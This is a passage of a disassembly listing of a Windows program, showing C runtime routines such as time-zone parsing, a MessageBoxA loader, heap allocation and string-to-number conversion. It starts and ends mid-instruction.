cmp al, 39h jg short loc_420B17 loc_420B14: ; CODE XREF: sub_42094E+1BCj inc esi jmp short loc_420B06 ; --------------------------------------------------------------------------- loc_420B17: ; CODE XREF: sub_42094E+1C0j ; sub_42094E+1C4j cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 imul eax, 3Ch pop ecx mov ecx, dword_43BF70 add ecx, eax mov dword_43BF70, ecx loc_420B35: ; CODE XREF: sub_42094E+1F2j mov al, [esi] cmp al, bl jl short loc_420B42 cmp al, 39h jg short loc_420B42 inc esi jmp short loc_420B35 ; --------------------------------------------------------------------------- loc_420B42: ; CODE XREF: sub_42094E+1EBj ; sub_42094E+1EFj cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 pop ecx mov ecx, dword_43BF70 add ecx, eax mov dword_43BF70, ecx loc_420B5D: ; CODE XREF: sub_42094E+21Aj mov al, [esi] cmp al, bl jl short loc_420B6A cmp al, 39h jg short loc_420B6A inc esi jmp short loc_420B5D ; --------------------------------------------------------------------------- loc_420B6A: ; CODE XREF: sub_42094E+1CCj ; sub_42094E+1F7j ... cmp edi, ebp jz short loc_420B76 neg ecx mov dword_43BF70, ecx loc_420B76: ; CODE XREF: sub_42094E+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43BF74, eax jz short loc_420B9E push 3 push esi push off_43C000 call sub_418C10 mov eax, off_43C000 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B9E: ; CODE XREF: sub_42094E+10Bj ; sub_42094E+115j ... mov eax, off_43C000 and byte ptr [eax], 0 loc_420BA6: ; CODE XREF: sub_42094E+40j ; sub_42094E+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42094E endp ; =============== S U B R O U T I N E ======================================= sub_420BAC proc near ; CODE XREF: sub_41D609+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43BF74, edi jnz short loc_420BC0 loc_420BB9: ; CODE XREF: sub_420BAC+148j ; sub_420BAC+150j ... xor eax, eax jmp loc_420D0C ; --------------------------------------------------------------------------- loc_420BC0: ; CODE XREF: sub_420BAC+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43C008 jnz short loc_420BDE cmp eax, dword_43C018 jz loc_420CE0 loc_420BDE: ; CODE XREF: sub_420BAC+24j cmp dword_48A220, edi jz loc_420CB6 movzx ecx, word_48A2CE push ecx cmp word_48A2C0, di movzx ecx, word_48A2CC push ecx movzx ecx, word_48A2CA push ecx movzx ecx, word_48A2C8 push ecx jnz short loc_420C30 movzx ecx, word_48A2C4 push edi push ecx movzx ecx, word_48A2C6 push ecx movzx ecx, word_48A2C2 push ecx push eax push ebx jmp short loc_420C44 ; --------------------------------------------------------------------------- loc_420C30: ; CODE XREF: sub_420BAC+65j movzx ecx, word_48A2C6 push ecx push edi movzx ecx, word_48A2C2 push edi push ecx push eax push edi loc_420C44: ; CODE XREF: sub_420BAC+82j push ebx call sub_420D58 movzx eax, word_48A27A add esp, 2Ch cmp word_48A26C, di push eax movzx eax, word_48A278 push eax movzx eax, word_48A276 push eax movzx eax, word_48A274 push eax jnz short loc_420C9E movzx eax, word_48A270 push edi push eax movzx eax, word_48A272 push eax movzx eax, word_48A26E push eax push dword ptr [esi+14h] push ebx loc_420C93: ; CODE XREF: sub_420BAC+108j push edi call sub_420D58 add esp, 2Ch jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420C9E: ; CODE XREF: sub_420BAC+C8j movzx eax, word_48A272 push eax push edi movzx eax, word_48A26E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_420C93 ; --------------------------------------------------------------------------- loc_420CB6: ; CODE XREF: sub_420BAC+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_420D58 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_420D58 add esp, 58h loc_420CE0: ; CODE XREF: sub_420BAC+2Cj ; sub_420BAC+F0j mov edx, dword_43C00C mov eax, dword_43C01C mov ecx, [esi+1Ch] cmp edx, eax jge short loc_420D10 cmp ecx, edx jl loc_420BB9 cmp ecx, eax jg loc_420BB9 cmp ecx, edx jle short loc_420D24 cmp ecx, eax jge short loc_420D24 loc_420D0A: ; CODE XREF: sub_420BAC+166j ; sub_420BAC+16Aj mov eax, ebx loc_420D0C: ; CODE XREF: sub_420BAC+Fj ; sub_420BAC+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420D10: ; CODE XREF: sub_420BAC+144j cmp ecx, eax jl short loc_420D0A cmp ecx, edx jg short loc_420D0A cmp ecx, eax jle short loc_420D24 cmp ecx, edx jl loc_420BB9 loc_420D24: ; CODE XREF: sub_420BAC+158j ; sub_420BAC+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_420D4B xor ecx, ecx cmp eax, dword_43C010 setnl cl loc_420D47: ; CODE XREF: sub_420BAC+1AAj mov eax, ecx jmp short loc_420D0C ; --------------------------------------------------------------------------- loc_420D4B: ; CODE XREF: sub_420BAC+18Ej xor ecx, ecx cmp eax, dword_43C020 setl cl jmp short loc_420D47 sub_420BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D58 proc near ; CODE XREF: sub_420BAC+99p ; sub_420BAC+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_420DF3 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_420D83 shl esi, 2 mov eax, dword_43C020[esi] jmp short loc_420D8C ; --------------------------------------------------------------------------- loc_420D83: ; CODE XREF: sub_420D58+1Ej shl esi, 2 mov eax, dword_43C054[esi] loc_420D8C: ; CODE XREF: sub_420D58+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_420DC6 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_420DD0 ; --------------------------------------------------------------------------- loc_420DC6: ; CODE XREF: sub_420D58+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_420DD0: ; CODE XREF: sub_420D58+6Cj cmp [ebp+arg_10], 5 jnz short loc_420E0E cmp [ebp+arg_8], 0 jnz short loc_420DE4 mov esi, dword_43C024[esi] jmp short loc_420DEA ; --------------------------------------------------------------------------- loc_420DE4: ; CODE XREF: sub_420D58+82j mov esi, dword_43C058[esi] loc_420DEA: ; CODE XREF: sub_420D58+8Aj cmp ecx, esi jle short loc_420E0E sub ecx, 7 jmp short loc_420E0E ; --------------------------------------------------------------------------- loc_420DF3: ; CODE XREF: sub_420D58+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_420E04 mov ecx, dword_43C020[eax*4] jmp short loc_420E0B ; --------------------------------------------------------------------------- loc_420E04: ; CODE XREF: sub_420D58+A1j mov ecx, dword_43C054[eax*4] loc_420E0B: ; CODE XREF: sub_420D58+AAj add ecx, [ebp+arg_18] loc_420E0E: ; CODE XREF: sub_420D58+7Cj ; sub_420D58+94j ... cmp [ebp+arg_0], 1 jnz short loc_420E3F mov eax, [ebp+arg_1C] mov dword_43C00C, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43C008, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43C010, eax jmp short loc_420E94 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420D58+BAj mov eax, [ebp+arg_1C] mov dword_43C01C, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43BF78 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43C020, eax jns short loc_420E77 add eax, 5265C00h dec ecx mov dword_43C020, eax jmp short loc_420E88 ; --------------------------------------------------------------------------- loc_420E77: ; CODE XREF: sub_420D58+110j mov edx, 5265C00h cmp eax, edx jl short loc_420E8E sub eax, edx inc ecx mov dword_43C020, eax loc_420E88: ; CODE XREF: sub_420D58+11Dj mov dword_43C01C, ecx loc_420E8E: ; CODE XREF: sub_420D58+126j mov dword_43C018, ebx loc_420E94: ; CODE XREF: sub_420D58+E5j pop esi pop ebx pop ebp retn sub_420D58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E98 proc near ; CODE XREF: sub_41D797+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_420EBB cmp [ebp+arg_8], ebx jz short loc_420EBB mov al, [esi] cmp al, bl jnz short loc_420EC1 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_420EBB mov [eax], bx loc_420EBB: ; CODE XREF: sub_420E98+Cj ; sub_420E98+11j ... xor eax, eax loc_420EBD: ; CODE XREF: sub_420E98+42j ; sub_420E98+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_420EC1: ; CODE XREF: sub_420E98+17j cmp dword_48A0A8, ebx jnz short loc_420EDC mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_420ED7 movzx ax, al mov [ecx], ax loc_420ED7: ; CODE XREF: sub_420E98+36j ; sub_420E98+C0j push 1 pop eax jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420EDC: ; CODE XREF: sub_420E98+2Fj mov ecx, off_4395A0 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420F39 mov eax, dword_4397AC cmp eax, 1 jle short loc_420F20 cmp [ebp+arg_8], eax jl short loc_420F2A xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_48A0B8 call near ptr 2620000h nop test eax, eax mov eax, dword_4397AC jnz short loc_420EBD loc_420F20: ; CODE XREF: sub_420E98+5Cj cmp [ebp+arg_8], eax jb short loc_420F2A cmp [esi+1], bl jnz short loc_420EBD loc_420F2A: ; CODE XREF: sub_420E98+61j ; sub_420E98+8Bj ... mov dword_48A014, 2Ah or eax, 0FFFFFFFFh jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420F39: ; CODE XREF: sub_420E98+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_48A0B8 nop call near ptr 2620000h test eax, eax jnz loc_420ED7 jmp short loc_420F2A sub_420E98 endp ; =============== S U B R O U T I N E ======================================= sub_420F60 proc near ; CODE XREF: sub_41D797+76p ; sub_41D797+88p ... arg_0 = dword ptr 4 cmp dword_4397AC, 1 jle short loc_420F77 push 8 push [esp+4+arg_0] call sub_41A642 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F60+7j mov eax, [esp+arg_0] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 8 retn sub_420F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420F90 proc near ; CODE XREF: sub_41D797+797p ; sub_41D797+7E7p cmp cl, 40h jnb short loc_420FAA cmp cl, 20h jnb short loc_420FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_420FA0: ; CODE XREF: sub_420F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_420FAA: ; CODE XREF: sub_420F90+3j xor eax, eax xor edx, edx retn sub_420F90 endp ; =============== S U B R O U T I N E ======================================= sub_420FAF proc near ; CODE XREF: sub_41E20D+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_420FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_420FCD test al, 80h jz short loc_420FFB test al, 2 jnz short loc_420FFB loc_420FCD: ; CODE XREF: sub_420FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_420FDA push esi call sub_41F9D8 pop ecx loc_420FDA: ; CODE XREF: sub_420FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_420FEA cmp dword ptr [esi+4], 0 jnz short loc_420FFB inc eax mov [esi], eax loc_420FEA: ; CODE XREF: sub_420FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_421001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_421007 inc eax mov [esi], eax loc_420FFB: ; CODE XREF: sub_420FAF+9j ; sub_420FAF+18j ... or eax, 0FFFFFFFFh loc_420FFE: ; CODE XREF: sub_420FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_421001: ; CODE XREF: sub_420FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_421007: ; CODE XREF: sub_420FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_420FFE sub_420FAF endp ; =============== S U B R O U T I N E ======================================= sub_42101D proc near ; CODE XREF: ___:0041F15Ap arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_42102E add esp, 0Ch retn sub_42101D endp ; =============== S U B R O U T I N E ======================================= sub_42102E proc near ; CODE XREF: sub_42101D+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_48B561[eax], cl jnz short loc_42105B cmp [esp+arg_4], 0 jz short loc_421054 movzx eax, word_4395AA[eax*2] and eax, [esp+arg_4] jmp short loc_421056 ; --------------------------------------------------------------------------- loc_421054: ; CODE XREF: sub_42102E+16j xor eax, eax loc_421056: ; CODE XREF: sub_42102E+24j test eax, eax jnz short loc_42105B retn ; --------------------------------------------------------------------------- loc_42105B: ; CODE XREF: sub_42102E+Fj ; sub_42102E+2Aj push 1 pop eax retn sub_42102E endp ; =============== S U B R O U T I N E ======================================= sub_42105F proc near ; CODE XREF: sub_41F885+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_48A2DC, ebx push esi push edi jnz short loc_4210AE push offset aUser32_dll ; "user32.dll" nop call near ptr 26E07FDh mov edi, eax cmp edi, ebx jz short loc_4210E4 mov esi, dword_4240DC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_48A2DC, eax jz short loc_4210E4 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_48A2E0, eax call esi mov dword_48A2E4, eax loc_4210AE: ; CODE XREF: sub_42105F+Bj mov eax, dword_48A2E0 test eax, eax jz short loc_4210CD call eax mov ebx, eax test ebx, ebx jz short loc_4210CD mov eax, dword_48A2E4 test eax, eax jz short loc_4210CD push ebx call eax mov ebx, eax loc_4210CD: ; CODE XREF: sub_42105F+56j ; sub_42105F+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_48A2DC loc_4210E0: ; CODE XREF: sub_42105F+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4210E4: ; CODE XREF: sub_42105F+1Cj ; sub_42105F+33j xor eax, eax jmp short loc_4210E0 sub_42105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E8 proc near ; CODE XREF: sub_41FA42+22p ; sub_41FA42+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_421109 test esi, esi jnz short loc_421103 push 1 pop esi loc_421103: ; CODE XREF: sub_4210E8+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_421109: ; CODE XREF: sub_4210E8+12j ; sub_4210E8+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_421168 mov eax, dword_48B688 cmp eax, 3 jnz short loc_421134 mov eax, [ebp+arg_0] cmp eax, dword_48B680 ja short loc_421153 push eax call sub_41B0DD mov edi, eax pop ecx test edi, edi jnz short loc_42117E jmp short loc_421153 ; --------------------------------------------------------------------------- loc_421134: ; CODE XREF: sub_4210E8+30j cmp eax, 2 jnz short loc_421153 cmp esi, dword_43B7E4 ja short loc_421153 mov eax, esi shr eax, 4 push eax call sub_41BB80 mov edi, eax pop ecx test edi, edi jnz short loc_421192 loc_421153: ; CODE XREF: sub_4210E8+3Bj ; sub_4210E8+4Aj ... push esi push 8 push dword_48B684 nop call near ptr 2700000h mov edi, eax test edi, edi jnz short loc_42118C loc_421168: ; CODE XREF: sub_4210E8+26j cmp dword_48A074, 0 jz short loc_42118C push esi call sub_41AB54 test eax, eax pop ecx jz short loc_421195 jmp short loc_421109 ; --------------------------------------------------------------------------- loc_42117E: ; CODE XREF: sub_4210E8+48j push [ebp+arg_0] loc_421181: ; CODE XREF: sub_4210E8+ABj push 0 push edi call sub_417330 add esp, 0Ch loc_42118C: ; CODE XREF: sub_4210E8+7Ej ; sub_4210E8+87j mov eax, edi loc_42118E: ; CODE XREF: sub_4210E8+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_421192: ; CODE XREF: sub_4210E8+69j push esi jmp short loc_421181 ; --------------------------------------------------------------------------- loc_421195: ; CODE XREF: sub_4210E8+92j xor eax, eax jmp short loc_42118E sub_4210E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41FAE7 loc_421199: ; CODE XREF: sub_41FAE7+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_48B320, esi jle short loc_4211EC loc_4211A8: ; CODE XREF: sub_41FAE7+1703j mov eax, dword_48A310 mov eax, [eax+esi*4] test eax, eax jz short loc_4211E3 test byte ptr [eax+0Ch], 83h jz short loc_4211C7 push eax call sub_417900 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4211C7 inc edi loc_4211C7: ; CODE XREF: sub_41FAE7+16D1j ; sub_41FAE7+16DDj cmp esi, 14h jl short loc_4211E3 mov eax, dword_48A310 push dword ptr [eax+esi*4] call sub_417C3B mov eax, dword_48A310 pop ecx and dword ptr [eax+esi*4], 0 loc_4211E3: ; CODE XREF: sub_41FAE7+16CBj ; sub_41FAE7+16E3j inc esi cmp esi, dword_48B320 jl short loc_4211A8 loc_4211EC: ; CODE XREF: sub_41FAE7+16BFj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41FAE7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211F1 proc near ; CODE XREF: sub_41FEC6+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_417B30 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_48B440 jnb loc_421326 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_421326 push 1 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_421330 push 2 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_421330 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_4212D3 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_417330 push 8000h push ebx call sub_421E2B add esp, 14h mov [ebp+arg_4], eax loc_421287: ; CODE XREF: sub_4211F1+BDj mov eax, 1000h cmp edi, eax jge short loc_421292 mov eax, edi loc_421292: ; CODE XREF: sub_4211F1+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4212B0 sub edi, eax test edi, edi jle short loc_4212C6 jmp short loc_421287 ; --------------------------------------------------------------------------- loc_4212B0: ; CODE XREF: sub_4211F1+B5j cmp dword_48A018, 5 jnz short loc_4212C3 mov dword_48A014, 0Dh loc_4212C3: ; CODE XREF: sub_4211F1+C6j or esi, 0FFFFFFFFh loc_4212C6: ; CODE XREF: sub_4211F1+BBj push [ebp+arg_4] push ebx call sub_421E2B pop ecx pop ecx jmp short loc_421313 ; --------------------------------------------------------------------------- loc_4212D3: ; CODE XREF: sub_4211F1+71j jge short loc_421313 push 0 push [ebp+arg_4] push ebx call sub_41E517 push ebx call sub_41FE32 add esp, 10h push eax nop call near ptr 25B0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_421313 mov dword_48A014, 0Dh nop call near ptr 264030Ch mov dword_48A018, eax loc_421313: ; CODE XREF: sub_4211F1+E0j ; sub_4211F1:loc_4212D3j ... push 0 push [ebp+arg_0] push ebx call sub_41E517 add esp, 0Ch mov eax, esi pop edi jmp short loc_421333 ; --------------------------------------------------------------------------- loc_421326: ; CODE XREF: sub_4211F1+1Aj ; sub_4211F1+36j mov dword_48A014, 9 loc_421330: ; CODE XREF: sub_4211F1+4Ej ; sub_4211F1+63j or eax, 0FFFFFFFFh loc_421333: ; CODE XREF: sub_4211F1+133j pop esi pop ebx leave retn sub_4211F1 endp ; =============== S U B R O U T I N E ======================================= sub_421337 proc near ; CODE XREF: sub_420331+2Bp ; sub_420331+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_42134D cmp ecx, esi jnb short loc_421350 loc_42134D: ; CODE XREF: sub_421337+10j push 1 pop eax loc_421350: ; CODE XREF: sub_421337+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_421337 endp ; =============== S U B R O U T I N E ======================================= sub_421358 proc near ; CODE XREF: sub_421411+40p ; sub_421411+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A inc dword ptr [esi+8] loc_42138A: ; CODE XREF: sub_421358+19j ; sub_421358+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_4213A2 inc dword ptr [esi+8] loc_4213A2: ; CODE XREF: sub_421358+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_421337 add esp, 0Ch pop edi pop esi retn sub_421358 endp ; =============== S U B R O U T I N E ======================================= sub_4213B6 proc near ; CODE XREF: sub_421411+30p ; sub_421411+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4213B6 endp ; =============== S U B R O U T I N E ======================================= sub_4213E4 proc near ; CODE XREF: sub_4219A9+1C8p ; sub_421EA1+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4213E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421411 proc near ; CODE XREF: sub_4214D8+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_421485 push edi mov [ebp+arg_8], eax loc_421438: ; CODE XREF: sub_421411+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4213B6 push ebx call sub_4213B6 lea eax, [ebp+var_10] push eax push ebx call sub_421358 push ebx call sub_4213B6 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_421358 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_421438 xor edx, edx pop edi loc_421485: ; CODE XREF: sub_421411+21j ; sub_421411+9Fj cmp [ebx+8], edx jnz short loc_4214B2 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_421485 ; --------------------------------------------------------------------------- loc_4214B2: ; CODE XREF: sub_421411+77j mov esi, 8000h loc_4214B7: ; CODE XREF: sub_421411+B9j test [ebx+8], esi jnz short loc_4214CC push ebx call sub_4213B6 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4214B7 ; --------------------------------------------------------------------------- loc_4214CC: ; CODE XREF: sub_421411+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_421411 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4214D8 proc near ; CODE XREF: sub_42067A+17p ; sub_4206A7+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_421513: ; CODE XREF: sub_4214D8+52j mov cl, [edi] cmp cl, 20h jz short loc_421529 cmp cl, 9 jz short loc_421529 cmp cl, 0Ah jz short loc_421529 cmp cl, 0Dh jnz short loc_42152C loc_421529: ; CODE XREF: sub_4214D8+40j ; sub_4214D8+45j ... inc edi jmp short loc_421513 ; --------------------------------------------------------------------------- loc_42152C: ; CODE XREF: sub_4214D8+4Fj push 4 pop esi loc_42152F: ; CODE XREF: sub_4214D8+AEj ; sub_4214D8+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4217B2 ; default ; jumptable 0042153B case 10 jmp off_421979[eax*4] ; switch jump loc_421542: ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 0 jl short loc_421553 cmp bl, 39h jg short loc_421553 loc_42154C: ; CODE XREF: sub_4214D8+C4j ; sub_4214D8+118j push 3 jmp loc_421770 ; --------------------------------------------------------------------------- loc_421553: ; CODE XREF: sub_4214D8+6Dj ; sub_4214D8+72j cmp bl, byte_4397B0 jnz short loc_421562 loc_42155B: ; CODE XREF: sub_4214D8+124j push 5 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_421562: ; CODE XREF: sub_4214D8+81j movsx eax, bl sub eax, 2Bh jz short loc_421588 dec eax dec eax jz short loc_42157C sub eax, 3 jnz loc_42184B jmp loc_42160B ; --------------------------------------------------------------------------- loc_42157C: ; CODE XREF: sub_4214D8+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421588: ; CODE XREF: sub_4214D8+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421591: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 1 mov 